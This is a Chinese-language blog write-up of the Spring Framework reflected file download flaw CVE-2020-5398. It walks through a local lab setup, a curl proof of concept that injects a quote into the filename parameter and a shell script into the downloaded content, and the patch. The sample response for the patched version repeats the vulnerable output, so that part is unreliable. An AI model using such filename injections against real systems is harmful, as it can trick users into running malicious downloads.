很久没有更新博文了,谢谢大家一直以来的支持,后续有时间会继续分享相关的技术知识,也希望大家一起参与技术讨论与交流~
反射型文件下载漏洞(RFD)
1、响应header是通过org.springframework.http.ContentDisposition进行添加的
2、文件名是通过以下方式之一设置的:
3、filename的值来自用户提供的输入
4、应用程序未清除用户提供的输入
5、攻击者已将下载的响应内容中注入恶意命令
攻击者可利用RFD漏洞,结合社工等方式,让用户下载一个恶意文件并执行,从而危害用户的终端安全。
2020年1月16日,Pivotal Software(Spring系列)官方发布 Spring Framework 存在 RFD(反射型文件下载漏洞)的漏洞报告,此漏洞为攻击客户端的漏洞,官方将漏洞严重程度评为高。报告指出,当响应中设置了“Content-Disposition”头且filename属性是用户可控时容易受到RFD攻击。
环境搭建
下载环境:git clone https://github.com/motikan2010/CVE-2020-5398.git
运行环境:./gradlew bootrun
漏洞复现
使用curl请求如下:
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
此漏洞由于Spring Framework并没有对filename传入的文件名进行严格的安全检测,攻击者可以通过截断的方式控制filename变量值,下载任意格式的文件。
漏洞点存在于ContentDisposition.java 中,SpringFramework对于响应包中http头部的Content-Disposition字段没有严格的检测。漏洞修复补丁如下图:
https://github.com/spring-projects/spring-framework/commit/956ffe68587c8d5f21135b5ce4650af0c2dea933
旧版本对于filename变量的处理只是简单的通过双引号分割的方式获取用户传入的filename变量值,攻击者可以通过构造闭合双引号的方式,截断双引号后面的字符串,从而达到控制文件名的目的。新版本中添加escapeQuotationsInFilename方法限制了filename中双引号的危害,escapeQuotationsInFilename方法会将filename中的字符串逐一检测,如果存在双引号,则用注释符注释双引号,从而破坏了双引号的功能。
Spring Web 5.2.2
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id
开始下载sample.sh文件~
Spring Web 5.2.3
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id
开始下载sample.sh";.txt文件~
官方发布的最新版本已经修复了此漏洞,受影响的用户可以下载最新版本防御此漏洞。
下载链接:https://github.com/spring-projects/spring-framework
https://github.com/motikan2010/CVE-2020-5398